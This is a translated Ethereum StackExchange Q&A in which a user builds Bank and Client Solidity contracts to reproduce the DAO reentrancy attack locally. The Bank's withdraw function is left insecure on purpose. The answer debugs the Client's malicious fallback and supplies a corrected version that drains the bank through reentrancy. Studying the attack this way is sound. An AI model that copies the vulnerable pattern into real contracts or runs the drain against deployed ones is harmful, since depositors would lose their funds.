Truffle

無法使用 call.value 將乙太幣發送到另一個合約

  • January 15, 2019

塊生成器!我創建了銀行和客戶的合約,以重現 DAO 攻擊事件。客戶可以存款,但不能提款。

我在這裡附上來自 Github 的 repo: https ://github.com/wwang107/bank-client-ethereum

我的問題概述

我使用msg.sender.call.value(amount)()銀行契約中的withdraw()使轉賬超級不安全。另外,我加入bank.withdraw()了客戶端的回退功能。當客戶端呼叫它的withdraw(). 我可以看到 truffle 控制台上彈出交易資訊,客戶在銀行的存款也減少了。然而,客戶和銀行契約的餘額保持不變,就好像withdraw從未發生過一樣。

我的契約:

Bank:

contract Bank {
   struct Client {
       uint deposit;
       bool active;
   }

   address owner;
   mapping(address => Client) public clientList;
   uint clientCounter;

   constructor() public payable {
       require(msg.value == 30 ether, "Initial funding of 30 ether required for rewards");
       /* Set the owner to the creator of this contract */
       owner = msg.sender;
       clientCounter = 0;
   }

   function enroll(address _addr) public {
       clientList[_addr].deposit = 0;
       clientList[_addr].active = true;
       clientCounter++;
   }

   function isClientActive(address _addr) public view returns(bool){
       return clientList[_addr].active;
   }

   function getClientCounter() public view returns(uint){
       return clientCounter;
   }
   // add the deposit to the sender account
   function addDeposit() public payable {
       if (clientList[msg.sender].active != true){
           revert("the client's address does not exist");
       }else{
           clientList[msg.sender].deposit += msg.value;
       }
   }

   // transfer the amount of ether to the provided address <<<DOES NOT TRANSFER ETH
   function withdraw(address _recipient, uint amount) public payable {
       if (clientList[_recipient].deposit < amount){
           revert("not enough deposit to make the withdraw");
       }else {
           _recipient.call.value(amount)();
           clientList[_recipient].deposit -= amount;
       }
   }

   // return the deposit of the provide address
   function checkDeposit(address _addr) public view returns (uint) {
       return clientList[_addr].deposit;
   }

   // received money from the client contract
   function () public payable {
       if (!isClientActive(msg.sender)){
           revert("client does not exist");
       } else {
           clientList[msg.sender].deposit += msg.value;
       }
   }
}

client:

contract Client {


   address owner; // the client contract connect with the account who creates it
   Bank bank; // the bank that this client contract connected with
   int a = 0;

   constructor (address _referBank, address _owner) public payable {
       owner = _owner;
       bank = Bank(_referBank);
       bank.enroll(address(this));
   }

   function isClientActive() public view returns(bool) {
       return bank.isClientActive(address(this));
   }

   function addFund() public payable {
       require(msg.sender == owner, "only owner are allow to send money to client contract");
   }

   function addDeposit(uint amount) public {
       // addresss(bank).transfer(amount)
       bank.addDeposit.value(amount)();
   }

   function withdraw(uint amount) public payable{
       bank.withdraw(address(this),amount);
   }

   function checkDeposit() public view returns(uint) {
       return bank.checkDeposit(address(this));
   }

   function checkBalance() public view returns(uint) {
       return address(this).balance;
   }

   // transfer the balance from the client's contract to the owner account
   function () public payable {
       // require(msg.sender == owner, "only owner are allow to send money to client contract");
       if (a<5){
           bank.withdraw(address(this),50*10**18);
           a++;
       }
   }
}

truffle console命令和提示響應:

首先,我部署合約,其中bankclient初始化為 30 ETH 和 5 ETH

var b
var c;
var bankBalance;
var clientBalance;
Bank.deployed().then((inst)=>{b=inst});
Client.deployed().then((inst)=>{c=inst});

其次,客戶存款並在銀行檢查其存款

c.addDeposit(web3.utils.toWei("1", "ether"))
c.checkDeposit().then(res=>{console.log(web3.utils.fromWei(res))})

prompt:

1
undefined

第三,客戶提取他的 1 ETH。

c.withdraw(web3.utils.toWei("1", "ether"))

prompt:

{ tx: '0xe3a3e17940d5519a4646edc0b0b9993e622b8a97536fa4633f83a4848a1b9f4f',
 receipt:
  { transactionHash: '0xe3a3e17940d5519a4646edc0b0b9993e622b8a97536fa4633f83a4848a1b9f4f',
    transactionIndex: 0,
    blockHash: '0x26fa17c815692a9b5625317d7cbde345d6184c526e7d520710d9b193f3c9e0bd',
    blockNumber: 79,
    from: '0xfa3bb08b86a29bfe202666a86ffcae1dcdd9caae',
    to: '0x58ebccb7e3f807433aba1763c80e27d751c703ee',
    gasUsed: 14900,
    cumulativeGasUsed: 14900,
    contractAddress: null,
    logs: [],
    status: true,
    logsBloom:....
    ....
    v: '0x1b',
    r: '0x3f21a9c8f70a1eca151b5159e96aaaffbc798b1745ca2da2274b13cb678ced12',
    s: '0x4df586c2e41227633e51bd0b0e14b8bb67d1c51b584901c9a7de9a6a1ba363aa',
    rawLogs: [] },
 logs: [] }

最後,我檢查了clientbank

truffle(development)> console.log(bankBalance)
31
console.log(clientBalance)undefined
truffle(development)> console.log(clientBalance)
4
undefined

本來,由於客戶合約中的惡意回退功能,我希望客戶不僅應該從銀行取回他的 1 ETH,還應該從銀行取回 50 ETH。但是,銀行沒有向客戶匯款,但客戶在銀行的存款價值卻減少了。

我在這裡附上來自 Github 的 repo: https ://github.com/wwang107/bank-client-ethereum

我認為您的備份功能存在兩個問題:

function () public payable {
   if (a<5){
       bank.withdraw(address(this),50*10**18);
       a++;
   }
}
  1. 您只a在函式末尾遞增,因此它實際上從未遞增。當您呼叫 時bank.withdraw,它會再次呼叫回退函式,並且您“永遠”不會退出該遞歸。(最終銀行將耗盡資金,整個事情將被恢復。)
  2. 看起來你試圖提取 50 ETH 5 次,但銀行里沒有那麼多的乙太幣,而且客戶無論如何也不允許提取那麼多。兩者都應該導致還原。

由於這兩個錯誤中的一個/兩個,你.call()正在恢復,所以沒有乙太被轉移。(銀行忽略 的返回值.call(),因此它不知道/不在乎呼叫已恢復。)

這將是我的解決方法:

function () public payable {
   uint256 amount = checkDeposit(); // this is the max we can attempt to withdraw

   // the bank may not have that much left
   if (address(bank).balance < amount) {
       amount = address(bank).balance;
   }

   // if there's more left to withdraw, do it
   if (amount > 0) {
       bank.withdraw(address(this), amount);
   }
}

引用自:https://ethereum.stackexchange.com/questions/65562